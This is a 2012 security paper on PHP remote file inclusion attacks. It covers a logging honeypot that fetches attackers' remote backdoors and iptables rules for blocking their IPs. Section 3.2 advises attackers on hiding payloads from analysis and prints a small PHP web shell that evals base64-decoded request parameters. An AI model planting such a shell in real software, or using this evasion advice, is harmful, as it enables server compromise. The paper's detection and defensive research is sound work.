Insecurity of Poorly Designed Remote File Inclusion Payloads: Part 1

Paper by bwall
of https://firebwall.com/
June 9, 2012

Table of Contents

1.0 Preface
2.0 Current State
    2.1 Detection
    2.2 Exploitation
        2.2.1 Remote File Location
        2.2.2 Obfuscation
        2.2.3 Payload
3.0 The Next Step
    3.1 Improving Detection
    3.2 Improving Exploitation
        3.2.1 Remote File Location
        3.2.2 Obfuscation
        3.2.3 Payload
4.0 Conclusion

1.0 Preface

I'm sure all of us have run into remote file inclusion vulnerabilities at one point or another with PHP. Whether as a system administrator or as a pentester, these attacks are not uncommon. In this paper, we will look at the current state of the common RFI attack, how to detect them, and how they can lead to the attacker being exposed. This paper will also look at ways to fight methods of detection, and improved methods of detection.

2.0 Current State

The current state of exploitation and detection for RFI exploits on the most part is not as advanced as it could be. This is mostly because the majority of these attacks go without detection. This does not stop attackers from attempting to hide their code. Lets take a look at each section as it stands.

2.1 Detection

In most cases, the current state of RFI detection is an after the fact analysis. An administrator notices a breach, checks their logs, and confirms that an external file was included. The file that was remotely included can now be downloaded and analyzed by the administrator or in many cases, sent to me for analysis.

2.2 Exploitation

Most attacks analyzed were part of a popular RFI vulnerability which required a simple header, but as that is attack specific, it is outside the bounds of this paper. These attacks were sent by machines assumed to be hacked, attempting to exploit websites that they managed to find via search engines. These attacks attempted to exploit known RFI vulnerabilities, regardless if the vulnerabilities were present on the target machine.

2.2.1 Remote File Location

These machines tried to exploit the RFI vulnerability with a link to a server they had stored a backdoor script on. Various botnets use this same method to exploit, so it was fairly easy to write a script to measure the relative size of a botnet by number of IPs that use the same server to load the backdoor. This also allows for easy analysis of the backdoors, as they were statically located unless the target server went down before it could be downloaded.

2.2.2 Obfuscation

The scripts often use obfuscation techniques common to PHP backdoors such as nested gzinflate/str_rot13/base64_decodes wrapped by eval calls. These made analysis somewhat

more time consuming, but in most cases, removing these techniques were able to be automated and therefore ineffective. Others made more complex obfuscation methods, but these were able to be defeated with a combination of the automated technique and manual manipulation. In all cases, these scripts contained all the information needed to decode them inside them.

2.2.3 Payload

These all had different payloads, some being simple backdoors. Others were more involved, implementing IRC bots in PHP. All these were included in the PHP file, allowing for reverse engineering of their design quite easy. Also, they included hard coded passwords. They pretty much included everything required to shutdown/control the entire botnet.

3.0 The Next Step

Both detection and exploitation can be improved drastically.

3.1 Improving Detection

During this research, I needed to improve my methods of detection, to get a better sample set for analysis. This segment of PHP was included in various custom error pages as well as PHP pages that did not take URLs as arguments. You can also get PHP to prepend the script before any other PHP file if you wish.

```
<?php
//Works best in a custom error page, and any other page someone might try an RFI on

/*
 * Generates a name for a bot dump
 * Set $dumpFolder to a folder that is not web viewable, its suggested to use the full path
 *
 * returns false if it already exists, else returns the filename
 */
function GetFileName($uri)
{
    $dumpFolder = "temp/";
    if(file_exists($dumpFolder.md5($uri)))
    {
        return false;
    }
    return $dumpFolder.md5($uri);
}

/*
 * Parses a URI for URLs, and returns them in an array
```

```
 */
function GetRFIUrl($uri)
{
   $paramString = strstr($uri, "?");
   $rfis = array();
   if($paramString === false)
   {
      $paramString = strstr($uri, "=");
      if($paramString !== false)
      {
         $decoded = urldecode($paramString);
         if(preg_match('/\=(?<url>https?:\/\/.*)/', $decoded, $matches) > 0)
         {
            if(GetFileName($matches["url"]) !== false)
            {
               $rfis["idk"] = $matches["url"];
               return $rfis;
            }
         }
      }
      return false;
   }
   $paramString = substr($paramString, 1);
   $params = explode("&", $paramString);
   $count = 0;
   foreach($params as &$param)
   {
      $decoded = urldecode($param);
      if(preg_match('/(?<var>[^\=]+)\=(?<url>https?:\/\/.*)/', $decoded, $matches) > 0)
      {
         if(GetFileName($matches["url"]) !== false)
         {
            $rfis[$matches["var"]] = $matches["url"];
            $count += 1;
         }
      }
   }
   if($count == 0)
   {
      return false;
   }
   return $rfis;
}

/*
 * Writes any new URLs found to file
 */
function ParseUrl($url)
{
   $ret = "";
   $urls = GetRFIUrl($url);
   if($urls !== false)
```

```
    {
        foreach($urls as $key => $param)
        {
            $toFile = "Timestamp: ".strftime('%c')."\n";
            $toFile .= "IP: ".$_SERVER['REMOTE_ADDR']."\n";
            $toFile .= $url."\n";
            $toFile .= $key." -> ".$param."\n";
            $results = file_get_contents($param, false);
            if($results === false)
            {
                $toFile .= "Failed to get shell code.\n\n";
            }
            else
            {
                $toFile .= base64_encode($results)."\n\n";
            }
            $file = GetFileName($param);
            if($file !== false)
            {
                file_put_contents($file, $toFile);
            }
            $ret .= $toFile;
        }
        return $ret;
    }
    return false;
}

ParseUrl($_SERVER['REQUEST_URI']);
?>
```

This segment of code would grab the back door, and encode it into a file with information about the attack attempt. This code could also be used to ban the attacking IP address with a technique binding PHP and iptables. Here is the setup required..

```
iptables -N httpscandrop
iptables -A httpscandrop -m recent ! --rcheck --name scandrop --rsource -j RETURN
iptables -A httpscandrop -j DROP
iptables -I INPUT 1 -j httpscandrop
```

Your web user must have write access to “/proc/net/xt_recent/scandrop”.
Here is the code to block the IP requesting the current page. Be sure to avoid triggering it yourself in testing.

```
$ip = $_SERVER['REMOTE_ADDR'];
system("echo +$ip >> /proc/net/xt_recent/scandrop");
```

This method blocks attackers after taking their back door for analysis.

3.2 Improving Exploitation

Exploitation can be improved in basically every aspect. Lets look at each individually to defeat reverse engineering.

3.2.1 Remote File Location

When a file is stored in a static location, it allows for someone to download them at any time. Static locations should not be used to store the payload. The exploited bots should be used to host the payload, even if it acts as a proxy to the actual payload in a static location. The attacker/bot should only keep the payload available during the timeout period during scanning. This would limit access to only an actual RFI and the detection method mentioned before. There are ways to defeat the detection method this way, but that's in the next section.

3.2.2 Obfuscation

Merely obfuscating the payload or the delivery system is far from sufficient. Not only do you need to make it unlikely for the payload to be obtained for analysis, but also make it indecipherable if obtained. The PHP code used in the remote file inclusion should be very simple. The idea is that the file only act as a method of validating an encryption method, then decrypting the encrypted payload sent via a POST or cookie. Here is some sample code from my research project PHPShell (https://github.com/bwall/bwall-s-smaller-projects/tree/master/PHPShell)

```
<?php
function encrypt($pwd, $data)
{
	if(isset($_REQUEST['enc']) && md5($_REQUEST['enc']) ==
\"3708fe651621a7337ebee38ffd26adee\")
	{
		return eval(base64_decode($_REQUEST['enc']));
	}
}
$s = $_REQUEST['exec'];
if(isset($_REQUEST['k']))
{
	eval(encrypt($_REQUEST['k'], base64_decode($s)));
}
?>
```

This is not the exact code generated by this project, but it uses the same principles. By POSTing the encryption method which can be verified by the code, as well as the key and the value to be decrypted, none of the code that could be used to analyze the back door would actually be on the server being attacked. Even if the previous detection script was used, it would not be able to get the actual payload to be run, avoiding the reverse

engineering of the attack. The detection script would have to save every $_REQUEST key value pair included. While that is possible, it is defeatable. Although for the purpose of researching the next generation of RFI payloads, I will not disclose the methods I know to defeat it.

3.2.3 Payload

Don't include passwords in the payloads. Don't include any plaintext authentication data in the payloads. If you include authentication in your payload, hash the username and password with PBKDF2 with at least 1000 iterations. Here is a PBKDF2 implementation in PHP.

```
function pbkdf2( $plain, $salt, $iterations, $keylength, $algo = 'sha256' )
{
   $hashlength = strlen(hash($algo, null, true));
   $keyblock = ceil($keylength / $hashlength);
   $derivedkey = '';
   for ( $block = 1; $block <= $keyblock; $block ++ )
         {
      $ib = $b = hash_hmac($algo, $salt . pack('N', $block), $plain, true);
      for ( $i = 1; $i < $iterations; $i ++ )
                  {
                        $ib ^= ($b = hash_hmac($algo, $b, $plain, true));
                  }
      $derivedkey .= $ib;
   }
   return substr($derivedkey, 0, $keylength);
}
```

4.0 Conclusion

In conclusion, the current state of detecting RFI's and the anti-reverse engineering methods of the RFI payloads are far from impervious, and have much room for improvement. I'd like to thank MaXe (@InterN0T) and digip (@xxDigiPxx) for assisting in research, this paper would not be possible without them.